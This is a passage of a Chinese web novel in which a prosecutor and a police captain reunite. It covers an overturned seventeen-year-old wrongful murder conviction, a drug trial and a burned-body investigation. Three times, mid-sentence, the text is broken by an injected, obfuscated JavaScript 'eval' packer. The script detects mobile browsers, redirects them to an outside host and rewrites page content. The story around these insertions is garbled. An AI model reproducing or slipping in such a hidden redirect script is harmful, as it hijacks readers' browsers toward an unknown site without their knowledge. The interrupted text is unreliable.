几个部门都各自领了任务安排下去,方才还颇有些拥挤的会议室,很快就变得空空荡荡的了。 “头儿,我们先走了,你早点回家。” 路从辜关了屋里的电子设备,看楼道里已经没什么人,便把会议室的灯也关上了,而后筋疲力尽地靠在椅子上。终于空出一些属于自己的时间,他打开手机,不出所料,绝大部分都是大段大段的工作信息,但有一条是例外,只有四个字: “好久不见。” “倒很像是他会说的开场白。”路从辜想。没意识到自己嘴角上扬的弧度,他还在考虑该回复些什么,下面又跳出一条: “早点休息。” 看来没在忙。想到这儿,他拿上外套,匆匆锁好门,一面往外走,一面拨通电话。 4. 旧案 夜晚往往是一个城市最为光华绚烂的时刻。白天还只是冷冰冰反射阳光的楼宇大厦,随着夜幕降临都覆上了一层蒙蒙的暖光,映照出飘飘洒洒的细雪。 一家高档西餐厅门口的停车场里,西装笔挺的青年逃也似地钻进一辆车里,冻得直搓手,还不忘嬉皮笑脸地对驾驶位上的人问道:“来多久啦?” 应泊关上手机,上下打量着他:“没多久,刚来——你外套呢?” “留给那姑娘了,她穿得太单薄了。” 应泊伸手把空调暖风开大一点,挂挡起步:“怎么样?你俩都聊什么了?” “也就那样。”张继川把空调风向调高,漫不经心地说,“还能聊啥啊,聊聊工作,聊聊未来规划,都是我不喜欢的话题。她问我一个南方人为啥跑到望海,我说当时刚回国,我爸总是催我回家,一上头报了个这边检察院的闲职岗位,正好能离我爸远点,就留下来了。” “没问你为什么要考公务员?” “问了,我说就是过渡一下。还聊了聊留学经历。我爸那意思就是我俩都在国外留过学,能有点共同话题。他也不想想,她在日本留学,我在美国留学,那文化环境都不一样,能合拍到哪去?话不投机半句多。” “相亲嘛,不聊这些,也没别的能聊了。” “是啊,我知道。到后来实在没话聊了,她就从我的衣服问到我手上的这块表。我说这表不是我买的,是我半年前辞职考上望大博士你给买的,怕我跟导师出去应酬显得寒酸。她问你是做什么工作的,我说是市检察院的员额检察官,我俩当时是同事。你猜她说什么?她说你送这么贵的表给我,肯定是想巴结我家的人脉,没准儿买表的钱来得都不干净。” 他愤怒地接着说:“这我能爱听?这说的是人话?册那我差点当场把桌子掀了!正好你给我发消息,我把外套扔给她就提前出来了。” “你应该跟她说是我贷款买的,现在因为还不上天天挨催债的打,所以大家要远离非法借贷。”应泊倒也不恼,只是皱眉说,“你把她自己扔在那儿了?” 张继川慢悠悠地伸了个懒腰:“哎呀,她自己家安排了司机来接的,不需要咱们献这个殷勤。” “行,这个月第三个了。打算怎么跟你爸交待?” “有什么好交待的,他不问我不说就是了。何况他老人家要是知道她这么说你,反应可不一定比我小。”张继川摆手说,“刚才在那儿没敢放开喝,你掉头,咱俩再找个地方喝点。” 应泊扫码付了停车费:“不喝了,还得回去加班写报告,明天还有个庭要开,在庭上说错话被审判长撵出去就坏了。” “上班有瘾吧你,每个月给你几个子儿这么卖命?” “这才哪到哪啊,跟我在基层院那几年比起来差远了。”应泊一副“你懂什么”的不屑神情,“你也别闲着,明天马维山那个再审也要宣判了,我问了是公开审理,你要有时间拿着身份证去法庭凑个热闹听听。” “马维山?是被冤枉奸杀妇女判了死缓,去年找到你帮忙申诉的那个吗?” “对。但是不是冤枉,还得等省高院定夺,咱俩说了不算。” 张继川对他不合时宜的严谨已经见怪不怪了:“你当时还托我查查他这个案子的鉴定意见书,我看了确实是漏洞百出,死者体内的精/斑都没检验过就定罪结案了,当年经手这案子的都该拉出来杀头!” 嘴上说说还不解气,他又用手做了个劈砍的动作。忽然,他坐直身子问道:“对了,他们家去年那个犯心脏病的老太太把医药费还给你了吗?” 应泊老老实实地摇摇头。 张继川一脸恨铁不成钢:“嗯,我都多余问你,冤大头。” “他们家本来就不富裕,这么多年找律师就把积蓄花得差不多了,这次申请再审还得找律师。我就帮忙垫一点,又不是赚不回来了。” “再审的律师不也是你帮忙找的吗?” 应泊颇为自豪:“是我读研时的同学帮忙找的,告诉我看了他们家的情况不打算收费了。人家说是这么说,肯定也有看我面子的原因,所以我又请人吃了顿饭。” “你也挺行的,倒贴上班。走在路上碰见心脏病发作的老太太,正常人都得绕着走,你倒好,直接送医还垫付医药费,连个欠条都不写。老太太告诉你她有个儿子含冤入狱十好几年,你又帮忙跑腿捞人。”张继川这回是彻底服气了,自顾自念叨着,“你这构成那什么来着……对,无因管理,我刷视频学的。” 应泊自知无话反驳,只好小声抱怨:“……嘴怎么这么碎呢。” “行,行行,怎么还急了,我不说了,明天我替你去看看。”张继川撇撇嘴,换了个话题,“你下午给我发消息说开会遇到的到底是谁啊?话说一半就没了。” 应泊沉默了片刻,眼尾带着不易察觉的笑:“一个很厉害的老朋友。” 张继川阴阳怪气地:“哟,老朋友,比我老呗,还‘很厉害’。” “我怎么跟你说呢……上周我就知道我们要开这个会了,也知道参会的有他,我从那个时候就在期待了。昨天还特地把我那身制服熨了一遍。” “就因为能见他一面?这人谁啊,这么大面儿?”张继川来了好奇心,应泊却卖起了关子:“对我来说是大人物。很多年前断了联系,一直都是个遗憾。” “那为啥断联的?被你说得像爱而不得的初恋一样。” 应泊思考后说:“因为……一些不可抗力,多的就不能再说了。” 张继川扭过头:“你这人真没意思。” 车在张继川的公寓楼下停住,两人道了别后,应泊一个人坐在昏暗的车里,双手把着方向盘,心里总觉得不踏实,左思右想还是打开手机,拨通了电话: “喂,阿姨,是我,应泊。关于明天马维山那个庭,我想再跟您谈谈……” 絮絮叨叨说了许多,替马维山的家人打好“审判结果不确定”的预防针,挂断电话,应泊顺手清了清这段时间收到的消息。划到下面,他看着跟路从辜之间略显空荡的对话框,有些出神。 犹豫了许久,打完字又删,删完重新打,应泊花十分钟纠结出了四个字: “好久不见。” 他觉得四个字太单薄不足以表达自己的心意,又接了四个字。 “早点休息。” 点击完发送应泊便匆匆关掉了手机,倒扣着放进车挡前的储物格里,然后快速启动车子离开。 哪怕下午在卫生间被他发一通火,哪怕被他痛打一顿,应泊的心里都不会这样空落落的。可是他什么都没有做,面对自己的试探也坦坦荡荡,平静得像什么都没发生过一样。 他是真的不在乎,还是已经放下了,放下他们之间的一切。权当那些年少的悸动是人生路上随处可遇的消遣,两个人从此心照不宣地渐行渐远——即便知道那是他的选择自己无权指摘,应泊也很难不因此而惶恐。 “我一开始只是想见他一面,真的,我以为见一面就够了。” 怕他不回复,又怕他回复。这就是应泊此时的心理状态。 然而路从辜并没有允许应泊提心吊胆地逃避太久,很快便一个电话直接打来。他的嗓音因为疲倦听上去有些沙哑,语气却依然是温和而关切的: “到家了吗?” “没,在回单位的路上。还在忙?” 路从辜闷闷地答:“嗯。一天下来头昏脑胀。刚分配完后面的任务,他们该下班的都下班了,正好看到你的消息,就出来回个电话,顺便透透气。” 应泊小心翼翼地:“那……我陪你聊聊?” “你如果方便的话,那最好不过了。”电话那边有隐约的笑意,“或许跟你聊聊,我还能换个侦查思路。” “我有空的,你说。”应泊连忙回复,“既然暂时还得不到新的线索,那就先别想这案子了,休息一下——对了,不会还没吃晚饭吧?” 路从辜突然支支吾吾起来:“呃……吃了。” “吃了?” “啃了两口同事给的外卖,现在确实有点饿。” 怎么可怜巴巴的,应泊心里一软,索性改变计划:“你等我一下,我捎点吃的过去,你想吃什么?” 虽然前一天下班前应泊已经把早上开庭要用的案卷材料都码好放进档案柜里,证据清单、审查报告和公诉意见都串过好几遍,也和同事模拟过很多次庭审,几乎把辩护人可能提出的任何辩护意见都预设了一遍。但毕竟是一起情节较为严重的贩毒案,三个被告都不见棺材不落泪,拒绝认罪认罚,他还是颇为不放心地早早来到单位。 马维山的再审宣判他固然关心,但自认为不会出现太大的偏差,无罪释放是板上钉钉的结果了,只是他嘴上不能说太满。麻烦的是后续一系列程序以及舆论。 既然证明了马维山无罪,那就要揪出隐匿了十七年的真正的犯罪者,因为这起案件涉及得太多,应泊是想要重启侦查的,但自己作为检察官并没有相应的职权,只能将希望寄予刑侦支队。可一想到昨天路从辜疲惫憔悴的模样,再去给他添乱,应泊自己多少也有点心虚。 如果路从辜愿意让他出手帮忙,他自然乐意之至,但昨天晚上把热腾腾的饭菜送到地方应泊就美滋滋地走人了,一句正经的话都没问出来。 应泊叹了口气。 嘴里的小半根油条还没嚼完,电梯已经到了,里面走出一位检察官。她同应泊打过招呼,开口问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057744|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道: “应科,小董呢,我有点事情找他,跑遍了二部的办公室都说好几天没看见他人了。” 应泊鼓着两腮不方便说话,于是上下抚摸起自己的肚子。 对方极为震惊:“怀孕了?” 应泊艰难地把嘴里的食物咽下去:“……胃溃疡。” 乘电梯来到三楼,这里是第二检察部的办公地点,应泊的办公室在楼层的尽头。董宇博因为胃病没来上班,他只好临时安排一位名叫常静雯的检察官助理跟自己一起去开庭。然而,前脚刚迈进常静雯所在的办公室,应泊便愣住了。 片刻后,他倒退着出来,看了看门牌号,确定没走错,又看了看里面的人。 引起他困惑的是一个身着制服的清秀姑娘,她站在办公桌旁,挡住了座位上的常静雯,两人聊得正起劲儿。看到应泊进来,常静雯赶紧唤了一声“应科”,又用手肘顶了一下身旁的姑娘。 姑娘反应很快,站直了身子向他问好:“应科好,那个……我是刚调来二部的,我叫徐蔚然,毕业于望海师范大学法学专业,去年8月份刚入职。请您多多关照。” 声音略微打着颤,听得出来她很紧张,但还是在努力强撑出落落大方的样子。 “新来的吗?怎么没人通知我一声。”应泊也迅速转变为云淡风轻,微笑着让她不必紧张,“抱歉,我也是刚知道部门来新人,礼节有不周的地方,你别见怪。” “不会不会,您太客气了。我之前在政治部,但每天也没什么任务,是临时通知我今天来二部报道,说是代替您之前那位助理。” 应泊没有立即答话,思忖了一会儿才试探地问道:“代替董宇博?” 不知有没有察觉到应泊眼神里一闪而过的寒光,徐蔚然谨慎地确认:“我也不清楚,不过应该是这样。” 应泊点点头,心下已经了然,但他没有多说什么,面上依然笑意盈盈。 “正常,我刚参加工作的时候,在政治部坐了半个月都没人理过我。”应泊从档案柜里取出案卷,熟稔地交代起来,“那我简单介绍一下,我们二部主管的业务你应该比较清楚了,危害国家安全和公共安全,故意杀人、抢劫、毒品等一系列重大犯罪,基本就是我们刑法里常说的‘八大罪’,还有一部分刑事申诉,都归我们负责。” 他空了一下,继续说:“不管董宇博是辞职跑路还是调去其他部门了,算上你,二部现在一共有26名检察干警,其中14名是员额检察官。我是二部的主任,叫应泊。副主任侯万征,应该还没来。最近大家都有任务,腾不出时间,你先自己熟悉熟悉。等时间宽裕了我再安排你和大家统一见个面,可以吗?” 徐蔚然很顺从地答应了。 “至于办案组……你就在这组吧,我看你和静雯相处得还不错。既然点名道姓把你交给我,你的主要工作就是协助我办案,所以具体听我安排,办案组其他员额有需要你也得顶上;除此之外可能还要帮三位书记员订订卷,这就可做可不做了。” 两个姑娘只关注到了“可以在同一组”这一点,兴奋地对视一眼。应泊笑着说:“我们这儿跟政治部还是不一样的,我们这里年轻人多,也没那么死气沉沉,你可以放开一点,不用太拘束。” 他想了想,说:“就是万征烟瘾大了点,你要不喜欢可以离他远一些。” 正说着,楼道里有如平地起惊雷,一下炸开嘹亮的歌声:“说一说世间百态芸芸众生,学一学天地万物冷暖人情……” 应泊循声望过去:“嚯,今儿这评剧唱得晚了点啊。” 常静雯挑眉:“咱梁老师是兴致上来了就嚎两嗓子,没个准点儿。” “就咱们这个工作性质,嚎两嗓子发泄发泄挺好的。”应泊接着说,“憋出病来我们可没有工伤赔偿。” 看到徐蔚然的神情渐渐变得迷茫,应泊脸上一副司空见惯的轻松:“习惯就好,这是我们二部企业文化的一部分。” 徐蔚然看上去好像更迷茫了。 简要地向徐蔚然介绍了最近部门里的主要案件,手机嗡嗡的消息提示打断了对话。应泊打开手机,是张继川发来的消息: “要开庭了,人押上来了。好多人来旁听啊,你说他们都听得懂吗?” “他们开庭了,那咱们也该动身了。”应泊把案卷全都整理好装进黑色公文包,正了正制服领带和领带夹,“走吧,跟我一起去开庭。” 徐蔚然指着自己,瞪大了眼睛:“我、我吗?” “对,就你。”应泊又转向常静雯,“临时换人,应该没有什么意见吧?” 常静雯喜笑颜开,头摇得像拨浪鼓:“没有意见,没有意见,太好了,我这个月都快住在法庭了,太好了。” 5. 重启 去往地下停车场的路上,徐蔚然紧紧跟在应泊身后,一会儿想要接过他的公文包,一会儿又自告奋勇要做司机,像个团团转的小雀。应泊全都委婉地拒绝了,看她有些泄气,应泊温声说: “不用,你坐着就好。在法庭上也是,你什么都不需要做,但也不要睡着。” 怕她还是放心不下,应泊又笑笑:“说是助理,其实更像是徒弟,起码在我这里学习大于打下手。如果通过我这些年的办案经验和心得能让你跟在我身边有所收获,那当然最好,我尽力做到这一点。” 徐蔚然不好意思地开口:“应科,我想问……就是,我可以叫您师父吗?我看其他人都是这么叫的。” “当然可以,用‘你’称呼我就好——你看起来好像还是很紧张。” “没关系,总得适应几天。”应泊替她找好了原因,“这次是个贩毒的案子,500g冰/毒,三个被告都没认罪认罚。举证和法庭辩论都有点麻烦,不出意外得在法庭坐一天,你做好准备。” “没问题,我都可以的。不过您刚刚说,多少冰/毒?” “500g,十倍于50g的标准,而且还是累犯。我的量刑建议是主犯无期,两个从犯都是十三年。不出意外的话,基本就是判决的量刑,就看他们在法庭上的认罪态度如何了。” 上午的庭审还算顺利。三个被告总共请了五个辩护律师。开庭前应泊特地拿了份起诉书副本递给徐蔚然,让她了解了解案情,不至于坐着干瞪眼。虽然法庭调查中被告们依然是一问三不知,态度也依然嚣张跋扈,但至少没有胡说八道或者破坏法庭秩序。 “不知道,我只卖出去10g,其他的我都不知道。” 又一次消极回答公诉人的讯问之后,这位被告人将一条腿翘起,大模大样地搭在另一条腿上。 辩护人大惊失色。一直没打断过控辩双方发言的审判长此时清了清嗓子。应泊看不到她的表情,但想想都知道不会太和善。他没有急着反驳被告人,而是用一种平静又不乏威严的语气斥责道: “被告人,把腿放下来。” “你说什么?” “我让你把腿放下来,这里是法庭。” 辩护人也一个劲儿地朝被告使眼色,被告嘴里嘀嘀咕咕的,但也只能不情愿重新坐好。 接下来是举证,两个小时里应泊说得口干舌燥,还要听取辩护人的质证意见,审判长宣布休庭的法槌声让他如获大赦,赶忙喝了口水。 法院分配的法庭并不大,休庭之后各路人马一活动起来就难免显得混乱。法警将被告人押解下去,书记员焦头烂额地确认刚刚的庭审记录准确无误;旁听的被告人家属一把鼻涕一把泪地诉说独力支撑上有老下有小的日子有多难过,乞求合议庭从轻发落,人民陪审员对此不感兴趣,打过了招呼纷纷径直离开。审判长是个相当有气场的中年女性,任凭家属怎样撒泼打滚也没有什么反应,只面无表情地收拾自己的案卷。 这套哭惨的话术审查起诉阶段他们就已经说过一遍了,下午大概还会再说一遍,宣判的时候还会说,应泊边听边想。徐蔚然坐在公诉席的一边看着这一切,两只眼睛好像都不够用了一样。 “师父,刑案也这么热闹啊?” “还好吧,我觉得比民案清静一点。”应泊整理着案卷,“以前上学实习的时候有幸旁听过民庭的案子,原被告直接在法庭上打起来了,非常震撼。” “唉,碰上这样的当事人,律师的日子也不好过。”徐蔚然感叹。 应泊不置可否,翻看着手机。消息有很多,他想看到的却没来。正巧此时审判长走到公诉席的位置,应泊忙起身向两人介绍说: “这位是胡青云胡庭长——她叫徐蔚然,也是我们部门的。” “胡庭长好。” “我看着面生,第一次来开庭吧?” “是,我是检察员,她是新上任的检察员外郎。”应泊开玩笑说。 “多好的姑娘啊,跟你们应科好好学好好干,未来又是个十佳公诉人。”审判长笑吟吟地,“留下来吃顿午饭,下午还得继续,你们就别来回折腾了。” 推辞的话已经到了嘴边,应泊看到徐蔚然掩饰不住的渴望的眼神,把话含住了没好意思直接说出来。 消息偏偏在这时弹出。趁着审判长应付纠缠不休的被告人家属的间隙,应泊低头速览了一遍: “撤销原判,改判无罪。好长的判决书,就最后一段有用。” 下一条消息让他心里一沉:“那个马维山对着媒体们说最要感谢的人是你,现在坐上记者的车往你们单位去了!” 于是,等审判长终于把被告人家属送出法庭之后,应泊的态度发生了一百八十度的转变: “那我们就恭敬不如从命了。” 法检的冬季制服差别不大,师徒两人混在法院食堂里也并不显得突兀。只是偶尔会有法官认出应泊来,又少不了一阵寒暄。 “哟,应科,今儿怎么来我们这儿吃饭了?” “胡庭长盛情邀请。而且徒弟没来过,带她来看看。” “挺好。”对方爽朗地笑起来,“小姑娘,别忘了评价评价跟你们食堂比哪个更好吃,你师父觉得你们的更好,我就不服气。” “这有什么不服气的。”应泊笑着说,“就像咱们两家的夏季制服一样,明眼人一眼就能看出来差距。” “啧——应泊啊应泊,你怎么总戳人肺管子?” 在法院坚守阵地的应泊被马维山家人的电话轰炸了一下午,好在他每次开庭都会记得把手机调成静音放进公文包里,这才不至于打断庭审进程,引得合议庭和辩护人不满。 倒没有急于甩掉累赘作壁上观的意思,只是想想都知道是谁指使他们一遍又一遍打电话。应泊对付那些无比擅长套话,提问如同查户口,死缠烂打得能把人裤衩子都扒掉的媒体没什么高深的经验,不打交道就能打好交道。 他获悉这件案子的前因后果越少人知道越好。向张继川解释时他也刻意省去了监狱的那一部分,只说是在上班路上碰巧遇到的罢了,同样的话术他也教给了马维山及其家人。为了尽量不让自己牵涉太多,也为了避免有人暗中搅局,他选择在幕后暗暗帮助马家人自行向省高院提交材料申诉,从而启动审判监督程序,过程中也避免与他们有过多不必要的交流,避免一旦事态闹大无法抽身。 然而百密一疏,忘了提醒马维山不要在媒体面前提起自己。 出发点是为人民群众伸张公平正义,有一些自私的顾虑,也不是不可原谅的事吧,应泊宽慰着自己。 驱车回到院里,一切都恢复了平静,应泊上到三楼,一股烟味从楼梯口弥漫而来,是侯万征在电梯旁边的垃圾桶处吞云吐雾。 还不等应泊开口,他狠狠嘬了一口烟,急忙道:“你先别说,我先说。” 徐蔚然被烟味儿呛得皱了皱鼻子,但这个明显的特征让她瞬间明白了眼前的人是谁,于是向他微微躬身:“侯科好。” “诶你好你好。”侯万征也来不及注意这个打招呼的姑娘,“我告诉他们你在开庭,没时间接待,别的我是一句没敢多说。哎呦你是不知道那帮记者有多轴,里面有个小姑娘,抹个小红嘴唇,举着话筒就往我嗓子眼儿里?。我在反贪局在二部待了这么多年,也没见过几个凶神恶煞成那样的,这阵仗我哪见过啊……至于检委会那边,你自己去交代,我,爱莫能助。” “谢了——别怕,已经没事了。”应泊不动声色,往他口袋里塞了一包回来路上买的烟,“检委会……没事,他们不会在意的。” 侯万征看到口袋里的烟,立马笑逐颜开:“呦呵,软中华,这我平常可舍不得抽。” 走到办公室门口,应泊忽然问起身后的徐蔚然:“你不好奇是什么事吗?” “好奇。”徐蔚然诚实地回答,“但感觉不是我这个层次能接触到的事,就没敢问。” “什么层次不层次的——案卷就在403档案室里,我一会儿有用,去帮我取一下,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057745|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己翻着看看。” * “根据圈定的案发时间,我们按照指示,排查了从城区到案发地点的所有具有出售散油资格的加油站,最终在静华路的一家加油站找到了可能的嫌疑人。” 从尸源入手找不出线索,路从辜又转而从汽油来源入手排查嫌疑人,当即又抽调了一批人手展开走访调查。把加油站所有近期购买过散油的实名信息进行整理筛查,最终还真让他们找到了这个可疑的人。 买家名叫孔大庆,二十年前迁来望海市,无业,在本地没有亲属,目前已经失联。但加油站保存的收据上留下的车牌号码却与他没什么关系,而是属于一个名叫钱文焘的人。 据当晚夜班的工作人员描述,五天前,也就是去年12月30号的凌晨,一个中等身材,体型较壮,年纪在四十多岁的男性提着两个大号金属油桶,说汽车因为油量耗尽在半路抛锚,要求购买散装汽油。在工作人员要求实名时,他借口没有随身携带身份证,选择了口述姓名和身份证号。最后,他直接拿出500元现金付了款,然后分两次拎着油桶离开。 工作人员所描述的年龄、体貌特征等的确与调取出的孔大庆的身份信息较为吻合,但考虑到这样的体型较为常见,民警并没有直接下定论断,而是又将孔大庆的照片交给工作人员辨认。工作人员却表示当时实在太晚,来买汽油的人又戴着口罩,他们也无法确认是不是孔大庆。 肖恩咋舌:“两大桶油,那他力气还挺大的。练家子?” 方彗问:“你拎得动吗?” 肖恩认真思考了一番:“不知道,咱也没有买汽油焚尸的经验。” 真相会不会如此简单,路从辜心里暂且存疑,但至少有一点他可以认定:“两大桶油,加满一辆车都绰绰有余了。只是抛锚而已,加一点能启动就可以了,说明汽油另有用途。” 再者,更令人起疑的是,他们将死者的DNA与全国失踪人口登记库里的比对了一遍又一遍,结果都石沉大海,说明死者失踪了这么多天,却没有一个人报警求助。这让路从辜对死者的身份,以及孔大庆与死者的关系有了些不一样的猜测。 黑吃黑?被拐卖人员?还是被榨干了利用价值的流浪汉?路从辜把自己经手过的每一起相似的案件都回忆了一遍,试图找到其中的相似点。 虽然不确定车牌号的主人是否与案件相关,不论这一线索是新的出路还是引警方上钩的诱饵,目前也只能顺着这根杆子往上爬了。除了派人到孔大庆住址所在地走访调查,安排技侦的人联系运营商查询孔大庆案发时段的通话和聊天记录,等待结果的同时钱文焘这条线也不能忽略。 据调查,钱文焘是平舒区当地的知名企业家,今年五十四岁。说得好听点叫“企业家”,说得不好听点,就是早年靠一些非法手段积聚了财富,现在又统统洗白为正当收入,仰仗掌握的一些人脉,犯了事也轻易不会被处置的地头蛇。 “大家都辛苦了——先稍作休整。我下午跑一趟大队,让他们通知钱文焘到案接受讯问。” 办案民警讶异地问:“您亲自去问?” “对,我亲自去。” 支队的所有人都因为案子的新进展士气大振,打算一鼓作气彻底拿下,好回家过个踏踏实实的年。可惜事情并不如预想的那样顺利。路从辜处理完其他公务,刚准备动身前往平舒大队,方彗便哭丧着脸告知他: “头儿,不用跑了,钱文焘也联系不上。” “公司和家人也找了吗?” “找了,但是没有找到那辆车。他老婆说钱文焘这个月九号以后就再没有任何音信了。公司的人也说这几天都没有看到他。大队那边完全是死猪不怕开水烫的状态,催了就敷衍我们两句,后来甚至连电话都不接了。” “他们一直都是这个样子。”路从辜叹气说,“叫上肖恩,一起——” 下了一半的指令被闯入的民警打断:“路队,检察院有人找你,说是有个案子要跟您谈谈,人在一楼接待室。” 6. 介入 “退回补侦?” 这是路从辜的第一反应。方彗听了一头雾水:“咱们最近办过的案子该诉的都诉了吧,怎么还有需要补充侦查的?” 说话间路从辜已经出了门,三步并作两步奔向一楼接待室。透过接待室的磨砂玻璃,他只觉得里面的人影越看越眼熟,直到一把拉开接待室的门: “你怎么来了?” “电话里说不清,我就直接找来了。”应泊手心里捧着一撮鸟食,逗弄着角落笼子里扑腾着翅膀的八哥,“这是你们养的?有名字吗?” 门口三个警察面面相觑,神情里竟能看出些心虚。最后还是路从辜心一横,开口说道: “它……它叫局长。” “叫什么?” “不要告诉局长,求求你了。”方彗双手合十,“我是说,不要告诉那个人类局长。” 队长办公室里,方彗替路从辜和应泊倒上水,自觉地退了出去。路从辜拧眉翻阅着应泊带来的案卷,还没明白是什么情况。 “这是个十七年前的案子,上午的再审刚刚撤销原判宣判被告无罪。”应泊介绍说。 “十七年前,绍青村村民杜立娟于5月18日清晨出门赶集后失踪,当晚她的尸体在农田附近的河里被人发现,系死后抛尸入水。”应泊缓缓道来案情,仿佛一切已经烂熟于心,“死因为机械性窒息,是被麻绳勒死,右额有钝器伤,死前曾遭强/奸。除此之外,她身上携带的50元现金也被抢走。” “然后呢?” “警方进入调查后发现,同村的马维山有重大作案嫌疑。首先,他手臂处有疑似抓痕一样的伤口,而他辩称说是教训孩子时不慎被抓伤;其次,在他家中也发现了与死者颈部索沟相匹配的麻绳;还有,当天马维山同样去过集市。” 路从辜犹疑道:“仅凭这些就定罪了吗?” “还有他的有罪供述。”应泊伸手把案卷翻到笔录的部分,“但马维山总共被讯问了六次,只有最后两次做出了有罪供述,并且两次所供述的杀人动机、杀人方式大不相同,其中还存在刑讯逼供的可能。” “我阅卷后还发现了诸多疑点,同时也请教了法医同事,证实了我的想法。” “嗯,你说。” “警方将马维山家发现的麻绳认定为凶器,但麻绳上并没有检测出死者的皮屑、血液等物质残留;死者身上并不存在抵抗伤,如果马维山手臂上的抓痕是死者与其搏斗造成,怎么会出现只有凶手受伤的情况?再有,警方也没有检测死者指甲中是否有皮屑残留。最重要的一点,死者体内的精/斑没有被检测。” 路从辜思索着他的推理,点头说道:“我大略过了一遍案卷。其中有证人说案发时段在附近看见过理着特殊发型的人形迹可疑,这个特殊发型是指?” “我推测就是光头。”应泊说,“当年的办案人员或是证人几乎都已经找不到了。我实地考察过,绍青村归属于现在的益青区,那里有一座朝阳监狱,结合凶手的作案手段,前科人员再次作案的可能性极大。” 像是有意为了活跃气氛,他又笑着说:“毕竟,那个时候想要找到现在这样五花八门的发型可太难了。” “所以,你来找我,是打算让我做些什么?” “重启侦查。”应泊神情坚定,“这起案件原本的犯罪嫌疑人,也就是后来被定罪的马维山,是我追查的另一起案件的关键证人,我怀疑是有人故意诬陷他。如果能找出这起案件真正的嫌疑人,就能清楚幕后之人的目的到底是什么。” “这次的再审是你办的?” “不,是移送给省高院办理的,跟我没有关系。我只是碰巧知道了这起案子。” “你看起来不像仅仅是‘知道’。”路从辜意味深长地说,“有一件事,我需要提前说明。” 似乎已经猜到他要说什么,应泊连忙说:“我之前的调查已经有了线索,差不多能锁定具体的目标。但仍然存在一些程序上的问题,还需要你帮帮忙。我知道时隔这么多年再取证很困难,也知道你最近破案压力大,所以这次来也只是请求,至于要不要查,什么时候查,我都尊重你的决定。” “不,我会帮忙,这一点你不用担心。”路从辜直接打消了他的顾虑,“我只是觉得,能闹到省里还翻了案的案子,却只看到你一个人在四处奔走,不太合常理吧?” 应泊没有做声,等他接着说。 “我需要知道所有的来龙去脉,包括你获悉这些事的缘由以及你追查的那起案子——我起码要知道,自己是在跟谁对抗。” 应泊沉吟不语,片刻,他苦笑着说:“我知道瞒不住你——等开始重启侦查的时候,我会把我知道的一切都告诉你。” “行,我大概清楚了。”路从辜仰倒在办公椅上,疲惫地望着天花板。应泊轻声问:“昨天的案子还是没有头绪吗?” 路从辜摇头:“本来是有头绪的,找到了两个嫌疑人,现在两个人都失踪了。我正打算去平舒区,问问嫌疑人家人有没有什么线索。” 说者无意,听者有心。应泊追问道:“平舒区吗?” “对,是当地的一个企业家,做建筑生意的,叫钱文焘,现在说什么都找不到这个人。”路从辜愤愤地拿起桌上的纸杯一饮而尽。应泊在对面蹙眉思索,忽然开口说:“你说的这个人我认识。” “你还记得我昨天说我在基层三年才调回现在的单位么,那三年就是在平舒区检察院度过的,经常跟钱文焘和他的人打交道。” 路从辜摆出一副“愿闻其详”的态度,应泊站起身,说: “走吧,我跟你们一起走一趟。先去大队,让他们多派几个人跟着。” 肖恩是被方彗直接从办公室里拖出来的,事发突然,他还没搞清楚状况:“不是,怎么个事儿?人不是还一个都没找到吗?” “待会儿上车记得打招呼,检察院的。”方彗交代说,“姓应,头儿让他提前介入咱们案子了。” 肖恩的声调都拔高了几度:“检察院的来凑什么热闹?还嫌不够乱吗?” 应泊一通电话打回单位,嘱咐徐蔚然准备好一份提前介入通知书,从模板在电脑的哪个文件夹,到怎么发送给文印室,连印泥的位置都详细描述了一遍。 “师——父——”徐蔚然拉长了声音,“我是第一天来二部,不是第一天来上班,这点事还是会做的。” 应泊听见电话那边有侯万征的笑声:“你师父年纪大咯,开始唠叨起来了。” 车后座的肖恩不禁感慨:“应检,你脾气还怪好的。” “没办法,之前的助理被调走了,这是个新人,多点耐心才利于成长。”应泊笑笑说,“叫我应泊就好。” “这还是我们头儿当上支队长之后第一次主动让检察院的人介入呢。以往那些检察官本领不多,事儿倒是不少,一点不体谅一线办案的困难。” 路从辜通过车内后视镜向后使眼神,让肖恩不要乱说话。应泊也听出了肖恩是在敲打自己,看看路从辜,试探地问道:“还有这种事?” 三个人都选择了默认。应泊接着说:“先前我也审查过咱们支队的案子,办得都相当扎实,按理说不应该啊。” “坏了,是捧杀。”路从辜心想。他迅速找补说:“当局者迷,再尽力也避免不了有一些纰漏,被指出来也很正常,只是交流方式上还没磨合好罢了。” “是、是啊。”或许是没想到应泊竟然会捧着自己说,肖恩突然开始结巴。 “嗯……能帮到大家就好。提前介入本来就是公安主导侦查,我们也只是起一个监督建议的作用,确实不应该插手太多。当然了,我想,如果结合我们的专业和经验,适当提一些意见,既不影响进度,又能保证程序合规,也避免后续再退回补侦的麻烦,对咱们都是好处多于坏处,是这个道理吧?” 一番话滴水不漏,不仅摆明了态度,而且还给足了支队面子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 